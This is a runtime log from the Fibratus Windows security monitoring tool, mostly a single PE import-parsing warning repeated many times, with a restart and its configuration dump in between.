level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:45:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:45:59+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:45:59+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:46:00+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:47:21+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:47:21+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:47:21+01:00 level=info msg=bootstrapping with pid 6412. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:47:21+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>false] mail=>[ to=>[] use-template=>true port=>25 enabled=>false content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>true]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + kstream ........................ [ max-buffers=>36 min-buffers=>16 enable-vamap=>true enable-image=>true stack-enrichment=>true enable-handle=>false enable-audit-api=>true flush-interval=>1s enable-net=>true buffer-size=>512 enable-mem=>true enable-registry=>true enable-dns=>true blacklist=>[ images=>[] events=>[]] enable-thread=>true enable-fileio=>true] + logging ........................ [ formatter=>text max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] bulk-workers=>1 enabled=>false template-name=>fibratus timeout=>5s healthcheck-timeout=>5s gzip-compression=>false index-name=>fibratus sniff=>false trace-log=>false flush-period=>1s healthcheck-interval=>10s healthcheck=>true] amqp=>[ vhost=>/ url=>amqp://localhost:5672 durable=>false passive=>false tls-insecure-skip-verify=>false timeout=>5s enabled=>false routing-key=>fibratus exchange-type=>topic delivery-mode=>transient exchange=>fibratus] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false endpoints=>[] enabled=>false timeout=>5s method=>POST serializer=>json tls-insecure-skip-verify=>false] console=>[ format=>pretty enabled=>true template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }}]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false kparams=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>true alert-template=>[] excluded-procs=>[] excluded-files=>[] alert-via=>mail enabled=>false scan-timeout=>10s fastscan=>true] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:47:21+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:47:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:47:24+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:47:24+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:47:24+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:47:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:28+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:47:29+01:00 level=warning msg=failed to parse data directory 